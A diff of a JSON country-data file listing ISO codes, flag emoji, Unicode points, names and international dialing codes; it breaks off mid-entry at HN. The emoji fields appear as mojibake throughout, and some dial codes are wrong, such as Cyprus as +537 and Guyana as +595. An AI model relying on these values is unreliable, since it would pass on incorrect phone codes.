"unicode": "U+1F1F8 U+1F1F2", - "name": "San Marino", - "title": "flag for San Marino", - "dialCode": "+378" - }, - { - "code": "SN", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ณ", - "unicode": "U+1F1F8 U+1F1F3", - "name": "Senegal", - "title": "flag for Senegal", - "dialCode": "+221" - }, - { - "code": "SO", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ด", - "unicode": "U+1F1F8 U+1F1F4", - "name": "Somalia", - "title": "flag for Somalia", - "dialCode": "+252" - }, - { - "code": "SR", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ท", - "unicode": "U+1F1F8 U+1F1F7", - "name": "Suriname", - "title": "flag for Suriname", - "dialCode": "+597" - }, - { - "code": "SS", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ธ", - "unicode": "U+1F1F8 U+1F1F8", - "name": "South Sudan", - "title": "flag for South Sudan" - }, - { - "code": "ST", - "emoji": "๐Ÿ‡ธ๐Ÿ‡น", - "unicode": "U+1F1F8 U+1F1F9", - "name": "Sao Tome and Principe", - "title": "flag for Sao Tome and Principe", - "dialCode": "+239" - }, - { - "code": "SV", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ป", - "unicode": "U+1F1F8 U+1F1FB", - "name": "El Salvador", - "title": "flag for El Salvador", - "dialCode": "+503" - }, - { - "code": "SX", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ฝ", - "unicode": "U+1F1F8 U+1F1FD", - "name": "Sint Maarten (Dutch Part)", - "title": "flag for Sint Maarten (Dutch Part)" - }, - { - "code": "SY", - "emoji": "๐Ÿ‡ธ๐Ÿ‡พ", - "unicode": "U+1F1F8 U+1F1FE", - "name": "Syrian Arab Republic", - "title": "flag for Syrian Arab Republic", - "dialCode": "+963" - }, - { - "code": "SZ", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ฟ", - "unicode": "U+1F1F8 U+1F1FF", - "name": "Swaziland", - "title": "flag for Swaziland", - "dialCode": "+268" - }, - { - "code": "TC", - "emoji": "๐Ÿ‡น๐Ÿ‡จ", - "unicode": "U+1F1F9 U+1F1E8", - "name": "Turks and Caicos Islands", - "title": "flag for Turks and Caicos Islands", - "dialCode": "+1 649" - }, - { - "code": "TD", - "emoji": "๐Ÿ‡น๐Ÿ‡ฉ", - "unicode": "U+1F1F9 U+1F1E9", - "name": "Chad", - "title": "flag for Chad", - "dialCode": "+235" - }, - { - "code": "TF", - "emoji": "๐Ÿ‡น๐Ÿ‡ซ", - "unicode": "U+1F1F9 U+1F1EB", - "name": "French Southern Territories", - "title": "flag for French Southern Territories" - }, - { - "code": "TG", - "emoji": "๐Ÿ‡น๐Ÿ‡ฌ", - "unicode": "U+1F1F9 U+1F1EC", - "name": "Togo", - "title": "flag for Togo", - "dialCode": "+228" - }, - { - "code": "TH", - "emoji": "๐Ÿ‡น๐Ÿ‡ญ", - "unicode": "U+1F1F9 U+1F1ED", - "name": "Thailand", - "title": "flag for Thailand", - "dialCode": "+66" - }, - { - "code": "TJ", - "emoji": "๐Ÿ‡น๐Ÿ‡ฏ", - "unicode": "U+1F1F9 U+1F1EF", - "name": "Tajikistan", - "title": "flag for Tajikistan", - "dialCode": "+992" - }, - { - "code": "TK", - "emoji": "๐Ÿ‡น๐Ÿ‡ฐ", - "unicode": "U+1F1F9 U+1F1F0", - "name": "Tokelau", - "title": "flag for Tokelau", - "dialCode": "+690" - }, - { - "code": "TL", - "emoji": "๐Ÿ‡น๐Ÿ‡ฑ", - "unicode": "U+1F1F9 U+1F1F1", - "name": "Timor-Leste", - "title": "flag for Timor-Leste", - "dialCode": "+670" - }, - { - "code": "TM", - "emoji": "๐Ÿ‡น๐Ÿ‡ฒ", - "unicode": "U+1F1F9 U+1F1F2", - "name": "Turkmenistan", - "title": "flag for Turkmenistan", - "dialCode": "+993" - }, - { - "code": "TN", - "emoji": "๐Ÿ‡น๐Ÿ‡ณ", - "unicode": "U+1F1F9 U+1F1F3", - "name": "Tunisia", - "title": "flag for Tunisia", - "dialCode": "+216" - }, - { - "code": "TO", - "emoji": "๐Ÿ‡น๐Ÿ‡ด", - "unicode": "U+1F1F9 U+1F1F4", - "name": "Tonga", - "title": "flag for Tonga", - "dialCode": "+676" - }, - { - "code": "TR", - "emoji": "๐Ÿ‡น๐Ÿ‡ท", - "unicode": "U+1F1F9 U+1F1F7", - "name": "Turkey", - "title": "flag for Turkey", - "dialCode": "+90" - }, - { - "code": "TT", - "emoji": "๐Ÿ‡น๐Ÿ‡น", - "unicode": "U+1F1F9 U+1F1F9", - "name": "Trinidad and Tobago", - "title": "flag for Trinidad and Tobago", - "dialCode": "+1 868" - }, - { - "code": "TV", - "emoji": "๐Ÿ‡น๐Ÿ‡ป", - "unicode": "U+1F1F9 U+1F1FB", - "name": "Tuvalu", - "title": "flag for Tuvalu", - "dialCode": "+688" - }, - { - "code": "TW", - "emoji": "๐Ÿ‡น๐Ÿ‡ผ", - "unicode": "U+1F1F9 U+1F1FC", - "name": "Taiwan", - "title": "flag for Taiwan", - "dialCode": "+886" - }, - { - "code": "TZ", - "emoji": "๐Ÿ‡น๐Ÿ‡ฟ", - "unicode": "U+1F1F9 U+1F1FF", - "name": "Tanzania", - "title": "flag for Tanzania", - "dialCode": "+255" - }, - { - "code": "UA", - "emoji": "๐Ÿ‡บ๐Ÿ‡ฆ", - "unicode": "U+1F1FA U+1F1E6", - "name": "Ukraine", - "title": "flag for Ukraine", - "dialCode": "+380" - }, - { - "code": "UG", - "emoji": "๐Ÿ‡บ๐Ÿ‡ฌ", - "unicode": "U+1F1FA U+1F1EC", - "name": "Uganda", - "title": "flag for Uganda", - "dialCode": "+256" - }, - { - "code": "UM", - "emoji": "๐Ÿ‡บ๐Ÿ‡ฒ", - "unicode": "U+1F1FA U+1F1F2", - "name": "United States Minor Outlying Islands", - "title": "flag for United States Minor Outlying Islands" - }, - { - "code": "US", - "emoji": "๐Ÿ‡บ๐Ÿ‡ธ", - "unicode": "U+1F1FA U+1F1F8", - "name": "United States", - "title": "flag for United States", - "dialCode": "+1" - }, - { - "code": "UY", - "emoji": "๐Ÿ‡บ๐Ÿ‡พ", - "unicode": "U+1F1FA U+1F1FE", - "name": "Uruguay", - "title": "flag for Uruguay", - "dialCode": "+598" - }, - { - "code": "UZ", - "emoji": "๐Ÿ‡บ๐Ÿ‡ฟ", - "unicode": "U+1F1FA U+1F1FF", - "name": "Uzbekistan", - "title": "flag for Uzbekistan", - "dialCode": "+998" - }, - { - "code": "VA", - "emoji": "๐Ÿ‡ป๐Ÿ‡ฆ", - "unicode": "U+1F1FB U+1F1E6", - "name": "Vatican City", - "title": "flag for Vatican City", - "dialCode": "+379" - }, - { - "code": "VC", - "emoji": "๐Ÿ‡ป๐Ÿ‡จ", - "unicode": "U+1F1FB U+1F1E8", - "name": "Saint Vincent and The Grenadines", - "title": "flag for Saint Vincent and The Grenadines", - "dialCode": "+1 784" - }, - { - "code": "VE", - "emoji": "๐Ÿ‡ป๐Ÿ‡ช", - "unicode": "U+1F1FB U+1F1EA", - "name": "Venezuela", - "title": "flag for Venezuela", - "dialCode": "+58" - }, - { - "code": "VG", - "emoji": "๐Ÿ‡ป๐Ÿ‡ฌ", - "unicode": "U+1F1FB U+1F1EC", - "name": "Virgin Islands, British", - "title": "flag for Virgin Islands, British", - "dialCode": "+1 284" - }, - { - "code": "VI", - "emoji": "๐Ÿ‡ป๐Ÿ‡ฎ", - "unicode": "U+1F1FB U+1F1EE", - "name": "Virgin Islands, U.S.", - "title": "flag for Virgin Islands, U.S.", - "dialCode": "+1 340" - }, - { - "code": "VN", - "emoji": "๐Ÿ‡ป๐Ÿ‡ณ", - "unicode": "U+1F1FB U+1F1F3", - "name": "Viet Nam", - "title": "flag for Viet Nam", - "dialCode": "+84" - }, - { - "code": "VU", - "emoji": "๐Ÿ‡ป๐Ÿ‡บ", - "unicode": "U+1F1FB U+1F1FA", - "name": "Vanuatu", - "title": "flag for Vanuatu", - "dialCode": "+678" - }, - { - "code": "WF", - "emoji": "๐Ÿ‡ผ๐Ÿ‡ซ", - "unicode": "U+1F1FC U+1F1EB", - "name": "Wallis and Futuna", - "title": "flag for Wallis and Futuna", - "dialCode": "+681" - }, - { - "code": "WS", - "emoji": "๐Ÿ‡ผ๐Ÿ‡ธ", - "unicode": "U+1F1FC U+1F1F8", - "name": "Samoa", - "title": "flag for Samoa", - "dialCode": "+685" - }, - { - "code": "XK", - "emoji": "๐Ÿ‡ฝ๐Ÿ‡ฐ", - "unicode": "U+1F1FD U+1F1F0", - "name": "Kosovo", - "title": "flag for Kosovo", - "dialCode": "+383" - }, - { - "code": "YE", - "emoji": "๐Ÿ‡พ๐Ÿ‡ช", - "unicode": "U+1F1FE U+1F1EA", - "name": "Yemen", - "title": "flag for Yemen", - "dialCode": "+967" - }, - { - "code": "YT", - "emoji": "๐Ÿ‡พ๐Ÿ‡น", - "unicode": "U+1F1FE U+1F1F9", - "name": "Mayotte", - "title": "flag for Mayotte", - "dialCode": "+262" - }, - { - "code": "ZA", - "emoji": "๐Ÿ‡ฟ๐Ÿ‡ฆ", - "unicode": "U+1F1FF U+1F1E6", - "name": "South Africa", - "title": "flag for South Africa", - "dialCode": "+27" - }, - { - "code": "ZM", - "emoji": "๐Ÿ‡ฟ๐Ÿ‡ฒ", - "unicode": "U+1F1FF U+1F1F2", - "name": "Zambia", - "title": "flag for Zambia", - "dialCode": "+260" - }, - { - "code": "ZW", - "emoji": "๐Ÿ‡ฟ๐Ÿ‡ผ", - "unicode": "U+1F1FF U+1F1FC", - "name": "Zimbabwe", - "title": "flag for Zimbabwe", - "dialCode": "+263" - } +[ + { + "code": "AD", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฉ", + "unicode": "U+1F1E6 U+1F1E9", + "name": "Andorra", + "title": "flag for Andorra", + "dialCode": "+376" + }, + { + "code": "AE", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ช", + "unicode": "U+1F1E6 U+1F1EA", + "name": "United Arab Emirates", + "title": "flag for United Arab Emirates", + "dialCode": "+971" + }, + { + "code": "AF", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ซ", + "unicode": "U+1F1E6 U+1F1EB", + "name": "Afghanistan", + "title": "flag for Afghanistan", + "dialCode": "+93" + }, + { + "code": "AG", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฌ", + "unicode": "U+1F1E6 U+1F1EC", + "name": "Antigua and Barbuda", + "title": "flag for Antigua and Barbuda", + "dialCode": "+1268" + }, + { + "code": "AI", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฎ", + "unicode": "U+1F1E6 U+1F1EE", + "name": "Anguilla", + "title": "flag for Anguilla", + "dialCode": "+1 264" + }, + { + "code": "AL", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฑ", + "unicode": "U+1F1E6 U+1F1F1", + "name": "Albania", + "title": "flag for Albania", + "dialCode": "+355" + }, + { + "code": "AM", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฒ", + "unicode": "U+1F1E6 U+1F1F2", + "name": "Armenia", + "title": "flag for Armenia", + "dialCode": "+374" + }, + { + "code": "AO", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ด", + "unicode": "U+1F1E6 U+1F1F4", + "name": "Angola", + "title": "flag for Angola", + "dialCode": "+244" + }, + { + "code": "AQ", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ถ", + "unicode": "U+1F1E6 U+1F1F6", + "name": "Antarctica", + "title": "flag for Antarctica", + "dialCode": null + }, + { + "code": "AR", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ท", + "unicode": "U+1F1E6 U+1F1F7", + "name": "Argentina", + "title": "flag for Argentina", + "dialCode": "+54" + }, + { + "code": "AS", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ธ", + "unicode": "U+1F1E6 U+1F1F8", + "name": "American Samoa", + "title": "flag for American Samoa", + "dialCode": "+1 684" + }, + { + "code": "AT", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡น", + "unicode": "U+1F1E6 U+1F1F9", + "name": "Austria", + "title": "flag for Austria", + "dialCode": "+43" + }, + { + "code": "AU", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡บ", + "unicode": "U+1F1E6 U+1F1FA", + "name": "Australia", + "title": "flag for Australia", + "dialCode": "+61" + }, + { + "code": "AW", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ผ", + "unicode": "U+1F1E6 U+1F1FC", + "name": "Aruba", + "title": "flag for Aruba", + "dialCode": "+297" + }, + { + "code": "AX", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฝ", + "unicode": "U+1F1E6 U+1F1FD", + "name": "ร…land Islands", + "title": "flag for ร…land Islands", + "dialCode": "" + }, + { + "code": "AZ", + "emoji": "๐Ÿ‡ฆ๐Ÿ‡ฟ", + "unicode": "U+1F1E6 U+1F1FF", + "name": "Azerbaijan", + "title": "flag for Azerbaijan", + "dialCode": "+994" + }, + { + "code": "BA", + "emoji": "๐Ÿ‡ง๐Ÿ‡ฆ", + "unicode": "U+1F1E7 U+1F1E6", + "name": "Bosnia and Herzegovina", + "title": "flag for Bosnia and Herzegovina", + "dialCode": "+387" + }, + { + "code": "BB", + "emoji": "๐Ÿ‡ง๐Ÿ‡ง", + "unicode": "U+1F1E7 U+1F1E7", + "name": "Barbados", + "title": "flag for Barbados", + "dialCode": "+1 246" + }, + { + "code": "BD", + "emoji": "๐Ÿ‡ง๐Ÿ‡ฉ", + "unicode": "U+1F1E7 U+1F1E9", + "name": "Bangladesh", + "title": "flag for Bangladesh", + "dialCode": "+880" + }, + { + "code": "BE", + "emoji": "๐Ÿ‡ง๐Ÿ‡ช", + "unicode": "U+1F1E7 U+1F1EA", + "name": "Belgium", + "title": "flag for Belgium", + "dialCode": "+32" + }, + { + "code": "BF", + "emoji": "๐Ÿ‡ง๐Ÿ‡ซ", + "unicode": "U+1F1E7 U+1F1EB", + "name": "Burkina Faso", + "title": "flag for Burkina Faso", + "dialCode": "+226" + }, + { + "code": "BG", + "emoji": "๐Ÿ‡ง๐Ÿ‡ฌ", + "unicode": "U+1F1E7 U+1F1EC", + "name": "Bulgaria", + "title": "flag for Bulgaria", + "dialCode": "+359" + }, + { + "code": "BH", + "emoji": "๐Ÿ‡ง๐Ÿ‡ญ", + "unicode": "U+1F1E7 U+1F1ED", + "name": "Bahrain", + "title": "flag for Bahrain", + "dialCode": "+973" + }, + { + "code": "BI", + "emoji": "๐Ÿ‡ง๐Ÿ‡ฎ", + "unicode": "U+1F1E7 U+1F1EE", + "name": "Burundi", + "title": "flag for Burundi", + "dialCode": "+257" + }, + { + "code": "BJ", + "emoji": "๐Ÿ‡ง๐Ÿ‡ฏ", + "unicode": "U+1F1E7 U+1F1EF", + "name": "Benin", + "title": "flag for Benin", + "dialCode": "+229" + }, + { + "code": "BL", + "emoji": "๐Ÿ‡ง๐Ÿ‡ฑ", + "unicode": "U+1F1E7 U+1F1F1", + "name": "Saint Barthรฉlemy", + "title": "flag for Saint Barthรฉlemy", + "dialCode": "+590" + }, + { + "code": "BM", + "emoji": "๐Ÿ‡ง๐Ÿ‡ฒ", + "unicode": "U+1F1E7 U+1F1F2", + "name": "Bermuda", + "title": "flag for Bermuda", + "dialCode": "+1 441" + }, + { + "code": "BN", + "emoji": "๐Ÿ‡ง๐Ÿ‡ณ", + "unicode": "U+1F1E7 U+1F1F3", + "name": "Brunei Darussalam", + "title": "flag for Brunei Darussalam", + "dialCode": "+673" + }, + { + "code": "BO", + "emoji": "๐Ÿ‡ง๐Ÿ‡ด", + "unicode": "U+1F1E7 U+1F1F4", + "name": "Bolivia", + "title": "flag for Bolivia", + "dialCode": "+591" + }, + { + "code": "BQ", + "emoji": "๐Ÿ‡ง๐Ÿ‡ถ", + "unicode": "U+1F1E7 U+1F1F6", + "name": "Bonaire, Sint Eustatius and Saba", + "title": "flag for Bonaire, Sint Eustatius and Saba" + }, + { + "code": "BR", + "emoji": "๐Ÿ‡ง๐Ÿ‡ท", + "unicode": "U+1F1E7 U+1F1F7", + "name": "Brazil", + "title": "flag for Brazil", + "dialCode": "+55" + }, + { + "code": "BS", + "emoji": "๐Ÿ‡ง๐Ÿ‡ธ", + "unicode": "U+1F1E7 U+1F1F8", + "name": "Bahamas", + "title": "flag for Bahamas", + "dialCode": "+1 242" + }, + { + "code": "BT", + "emoji": "๐Ÿ‡ง๐Ÿ‡น", + "unicode": "U+1F1E7 U+1F1F9", + "name": "Bhutan", + "title": "flag for Bhutan", + "dialCode": "+975" + }, + { + "code": "BV", + "emoji": "๐Ÿ‡ง๐Ÿ‡ป", + "unicode": "U+1F1E7 U+1F1FB", + "name": "Bouvet Island", + "title": "flag for Bouvet Island" + }, + { + "code": "BW", + "emoji": "๐Ÿ‡ง๐Ÿ‡ผ", + "unicode": "U+1F1E7 U+1F1FC", + "name": "Botswana", + "title": "flag for Botswana", + "dialCode": "+267" + }, + { + "code": "BY", + "emoji": "๐Ÿ‡ง๐Ÿ‡พ", + "unicode": "U+1F1E7 U+1F1FE", + "name": "Belarus", + "title": "flag for Belarus", + "dialCode": "+375" + }, + { + "code": "BZ", + "emoji": "๐Ÿ‡ง๐Ÿ‡ฟ", + "unicode": "U+1F1E7 U+1F1FF", + "name": "Belize", + "title": "flag for Belize", + "dialCode": "+501" + }, + { + "code": "CA", + "emoji": "๐Ÿ‡จ๐Ÿ‡ฆ", + "unicode": "U+1F1E8 U+1F1E6", + "name": "Canada", + "title": "flag for Canada", + "dialCode": "+1" + }, + { + "code": "CC", + "emoji": "๐Ÿ‡จ๐Ÿ‡จ", + "unicode": "U+1F1E8 U+1F1E8", + "name": "Cocos (Keeling) Islands", + "title": "flag for Cocos (Keeling) Islands", + "dialCode": "+61" + }, + { + "code": "CD", + "emoji": "๐Ÿ‡จ๐Ÿ‡ฉ", + "unicode": "U+1F1E8 U+1F1E9", + "name": "Congo", + "title": "flag for Congo", + "dialCode": "+243" + }, + { + "code": "CF", + "emoji": "๐Ÿ‡จ๐Ÿ‡ซ", + "unicode": "U+1F1E8 U+1F1EB", + "name": "Central African Republic", + "title": "flag for Central African Republic", + "dialCode": "+236" + }, + { + "code": "CG", + "emoji": "๐Ÿ‡จ๐Ÿ‡ฌ", + "unicode": "U+1F1E8 U+1F1EC", + "name": "Congo", + "title": "flag for Congo", + "dialCode": "+242" + }, + { + "code": "CH", + "emoji": "๐Ÿ‡จ๐Ÿ‡ญ", + "unicode": "U+1F1E8 U+1F1ED", + "name": "Switzerland", + "title": "flag for Switzerland", + "dialCode": "+41" + }, + { + "code": "CI", + "emoji": "๐Ÿ‡จ๐Ÿ‡ฎ", + "unicode": "U+1F1E8 U+1F1EE", + "name": "Cรดte D'Ivoire", + "title": "flag for Cรดte D'Ivoire", + "dialCode": "+225" + }, + { + "code": "CK", + "emoji": "๐Ÿ‡จ๐Ÿ‡ฐ", + "unicode": "U+1F1E8 U+1F1F0", + "name": "Cook Islands", + "title": "flag for Cook Islands", + "dialCode": "+682" + }, + { + "code": "CL", + "emoji": "๐Ÿ‡จ๐Ÿ‡ฑ", + "unicode": "U+1F1E8 U+1F1F1", + "name": "Chile", + "title": "flag for Chile", + "dialCode": "+56" + }, + { + "code": "CM", + "emoji": "๐Ÿ‡จ๐Ÿ‡ฒ", + "unicode": "U+1F1E8 U+1F1F2", + "name": "Cameroon", + "title": "flag for Cameroon", + "dialCode": "+237" + }, + { + "code": "CN", + "emoji": "๐Ÿ‡จ๐Ÿ‡ณ", + "unicode": "U+1F1E8 U+1F1F3", + "name": "China", + "title": "flag for China", + "dialCode": "+86" + }, + { + "code": "CO", + "emoji": "๐Ÿ‡จ๐Ÿ‡ด", + "unicode": "U+1F1E8 U+1F1F4", + "name": "Colombia", + "title": "flag for Colombia", + "dialCode": "+57" + }, + { + "code": "CR", + "emoji": "๐Ÿ‡จ๐Ÿ‡ท", + "unicode": "U+1F1E8 U+1F1F7", + "name": "Costa Rica", + "title": "flag for Costa Rica", + "dialCode": "+506" + }, + { + "code": "CU", + "emoji": "๐Ÿ‡จ๐Ÿ‡บ", + "unicode": "U+1F1E8 U+1F1FA", + "name": "Cuba", + "title": "flag for Cuba", + "dialCode": "+53" + }, + { + "code": "CV", + "emoji": "๐Ÿ‡จ๐Ÿ‡ป", + "unicode": "U+1F1E8 U+1F1FB", + "name": "Cape Verde", + "title": "flag for Cape Verde", + "dialCode": "+238" + }, + { + "code": "CW", + "emoji": "๐Ÿ‡จ๐Ÿ‡ผ", + "unicode": "U+1F1E8 U+1F1FC", + "name": "Curaรงao", + "title": "flag for Curaรงao" + }, + { + "code": "CX", + "emoji": "๐Ÿ‡จ๐Ÿ‡ฝ", + "unicode": "U+1F1E8 U+1F1FD", + "name": "Christmas Island", + "title": "flag for Christmas Island", + "dialCode": "+61" + }, + { + "code": "CY", + "emoji": "๐Ÿ‡จ๐Ÿ‡พ", + "unicode": "U+1F1E8 U+1F1FE", + "name": "Cyprus", + "title": "flag for Cyprus", + "dialCode": "+537" + }, + { + "code": "CZ", + "emoji": "๐Ÿ‡จ๐Ÿ‡ฟ", + "unicode": "U+1F1E8 U+1F1FF", + "name": "Czech Republic", + "title": "flag for Czech Republic", + "dialCode": "+420" + }, + { + "code": "DE", + "emoji": "๐Ÿ‡ฉ๐Ÿ‡ช", + "unicode": "U+1F1E9 U+1F1EA", + "name": "Germany", + "title": "flag for Germany", + "dialCode": "+49" + }, + { + "code": "DJ", + "emoji": "๐Ÿ‡ฉ๐Ÿ‡ฏ", + "unicode": "U+1F1E9 U+1F1EF", + "name": "Djibouti", + "title": "flag for Djibouti", + "dialCode": "+253" + }, + { + "code": "DK", + "emoji": "๐Ÿ‡ฉ๐Ÿ‡ฐ", + "unicode": "U+1F1E9 U+1F1F0", + "name": "Denmark", + "title": "flag for Denmark", + "dialCode": "+45" + }, + { + "code": "DM", + "emoji": "๐Ÿ‡ฉ๐Ÿ‡ฒ", + "unicode": "U+1F1E9 U+1F1F2", + "name": "Dominica", + "title": "flag for Dominica", + "dialCode": "+1 767" + }, + { + "code": "DO", + "emoji": "๐Ÿ‡ฉ๐Ÿ‡ด", + "unicode": "U+1F1E9 U+1F1F4", + "name": "Dominican Republic", + "title": "flag for Dominican Republic", + "dialCode": "+1 849" + }, + { + "code": "DZ", + "emoji": "๐Ÿ‡ฉ๐Ÿ‡ฟ", + "unicode": "U+1F1E9 U+1F1FF", + "name": "Algeria", + "title": "flag for Algeria", + "dialCode": "+213" + }, + { + "code": "EC", + "emoji": "๐Ÿ‡ช๐Ÿ‡จ", + "unicode": "U+1F1EA U+1F1E8", + "name": "Ecuador", + "title": "flag for Ecuador", + "dialCode": "+593" + }, + { + "code": "EE", + "emoji": "๐Ÿ‡ช๐Ÿ‡ช", + "unicode": "U+1F1EA U+1F1EA", + "name": "Estonia", + "title": "flag for Estonia", + "dialCode": "+372" + }, + { + "code": "EG", + "emoji": "๐Ÿ‡ช๐Ÿ‡ฌ", + "unicode": "U+1F1EA U+1F1EC", + "name": "Egypt", + "title": "flag for Egypt", + "dialCode": "+20" + }, + { + "code": "EH", + "emoji": "๐Ÿ‡ช๐Ÿ‡ญ", + "unicode": "U+1F1EA U+1F1ED", + "name": "Western Sahara", + "title": "flag for Western Sahara" + }, + { + "code": "ER", + "emoji": "๐Ÿ‡ช๐Ÿ‡ท", + "unicode": "U+1F1EA U+1F1F7", + "name": "Eritrea", + "title": "flag for Eritrea", + "dialCode": "+291" + }, + { + "code": "ES", + "emoji": "๐Ÿ‡ช๐Ÿ‡ธ", + "unicode": "U+1F1EA U+1F1F8", + "name": "Spain", + "title": "flag for Spain", + "dialCode": "+34" + }, + { + "code": "ET", + "emoji": "๐Ÿ‡ช๐Ÿ‡น", + "unicode": "U+1F1EA U+1F1F9", + "name": "Ethiopia", + "title": "flag for Ethiopia", + "dialCode": "+251" + }, + { + "code": "EU", + "emoji": "๐Ÿ‡ช๐Ÿ‡บ", + "unicode": "U+1F1EA U+1F1FA", + "name": "European Union", + "title": "flag for European Union" + }, + { + "code": "FI", + "emoji": "๐Ÿ‡ซ๐Ÿ‡ฎ", + "unicode": "U+1F1EB U+1F1EE", + "name": "Finland", + "title": "flag for Finland", + "dialCode": "+358" + }, + { + "code": "FJ", + "emoji": "๐Ÿ‡ซ๐Ÿ‡ฏ", + "unicode": "U+1F1EB U+1F1EF", + "name": "Fiji", + "title": "flag for Fiji", + "dialCode": "+679" + }, + { + "code": "FK", + "emoji": "๐Ÿ‡ซ๐Ÿ‡ฐ", + "unicode": "U+1F1EB U+1F1F0", + "name": "Falkland Islands (Malvinas)", + "title": "flag for Falkland Islands (Malvinas)", + "dialCode": "+500" + }, + { + "code": "FM", + "emoji": "๐Ÿ‡ซ๐Ÿ‡ฒ", + "unicode": "U+1F1EB U+1F1F2", + "name": "Micronesia", + "title": "flag for Micronesia", + "dialCode": "+691" + }, + { + "code": "FO", + "emoji": "๐Ÿ‡ซ๐Ÿ‡ด", + "unicode": "U+1F1EB U+1F1F4", + "name": "Faroe Islands", + "title": "flag for Faroe Islands", + "dialCode": "+298" + }, + { + "code": "FR", + "emoji": "๐Ÿ‡ซ๐Ÿ‡ท", + "unicode": "U+1F1EB U+1F1F7", + "name": "France", + "title": "flag for France", + "dialCode": "+33" + }, + { + "code": "GA", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฆ", + "unicode": "U+1F1EC U+1F1E6", + "name": "Gabon", + "title": "flag for Gabon", + "dialCode": "+241" + }, + { + "code": "GB", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ง", + "unicode": "U+1F1EC U+1F1E7", + "name": "United Kingdom", + "title": "flag for United Kingdom", + "dialCode": "+44" + }, + { + "code": "GD", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฉ", + "unicode": "U+1F1EC U+1F1E9", + "name": "Grenada", + "title": "flag for Grenada", + "dialCode": "+1 473" + }, + { + "code": "GE", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ช", + "unicode": "U+1F1EC U+1F1EA", + "name": "Georgia", + "title": "flag for Georgia", + "dialCode": "+995" + }, + { + "code": "GF", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ซ", + "unicode": "U+1F1EC U+1F1EB", + "name": "French Guiana", + "title": "flag for French Guiana", + "dialCode": "+594" + }, + { + "code": "GG", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฌ", + "unicode": "U+1F1EC U+1F1EC", + "name": "Guernsey", + "title": "flag for Guernsey", + "dialCode": "+44" + }, + { + "code": "GH", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ญ", + "unicode": "U+1F1EC U+1F1ED", + "name": "Ghana", + "title": "flag for Ghana", + "dialCode": "+233" + }, + { + "code": "GI", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฎ", + "unicode": "U+1F1EC U+1F1EE", + "name": "Gibraltar", + "title": "flag for Gibraltar", + "dialCode": "+350" + }, + { + "code": "GL", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฑ", + "unicode": "U+1F1EC U+1F1F1", + "name": "Greenland", + "title": "flag for Greenland", + "dialCode": "+299" + }, + { + "code": "GM", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฒ", + "unicode": "U+1F1EC U+1F1F2", + "name": "Gambia", + "title": "flag for Gambia", + "dialCode": "+220" + }, + { + "code": "GN", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ณ", + "unicode": "U+1F1EC U+1F1F3", + "name": "Guinea", + "title": "flag for Guinea", + "dialCode": "+224" + }, + { + "code": "GP", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ต", + "unicode": "U+1F1EC U+1F1F5", + "name": "Guadeloupe", + "title": "flag for Guadeloupe", + "dialCode": "+590" + }, + { + "code": "GQ", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ถ", + "unicode": "U+1F1EC U+1F1F6", + "name": "Equatorial Guinea", + "title": "flag for Equatorial Guinea", + "dialCode": "+240" + }, + { + "code": "GR", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ท", + "unicode": "U+1F1EC U+1F1F7", + "name": "Greece", + "title": "flag for Greece", + "dialCode": "+30" + }, + { + "code": "GS", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ธ", + "unicode": "U+1F1EC U+1F1F8", + "name": "South Georgia", + "title": "flag for South Georgia", + "dialCode": "+500" + }, + { + "code": "GT", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡น", + "unicode": "U+1F1EC U+1F1F9", + "name": "Guatemala", + "title": "flag for Guatemala", + "dialCode": "+502" + }, + { + "code": "GU", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡บ", + "unicode": "U+1F1EC U+1F1FA", + "name": "Guam", + "title": "flag for Guam", + "dialCode": "+1 671" + }, + { + "code": "GW", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡ผ", + "unicode": "U+1F1EC U+1F1FC", + "name": "Guinea-Bissau", + "title": "flag for Guinea-Bissau", + "dialCode": "+245" + }, + { + "code": "GY", + "emoji": "๐Ÿ‡ฌ๐Ÿ‡พ", + "unicode": "U+1F1EC U+1F1FE", + "name": "Guyana", + "title": "flag for Guyana", + "dialCode": "+595" + }, + { + "code": "HK", + "emoji": "๐Ÿ‡ญ๐Ÿ‡ฐ", + "unicode": "U+1F1ED U+1F1F0", + "name": "Hong Kong", + "title": "flag for Hong Kong", + "dialCode": "+852" + }, + { + "code": "HM", + "emoji": "๐Ÿ‡ญ๐Ÿ‡ฒ", + "unicode": "U+1F1ED U+1F1F2", + "name": "Heard Island and Mcdonald Islands", + "title": "flag for Heard Island and Mcdonald Islands" + }, + { + "code": "HN", + "emoji": 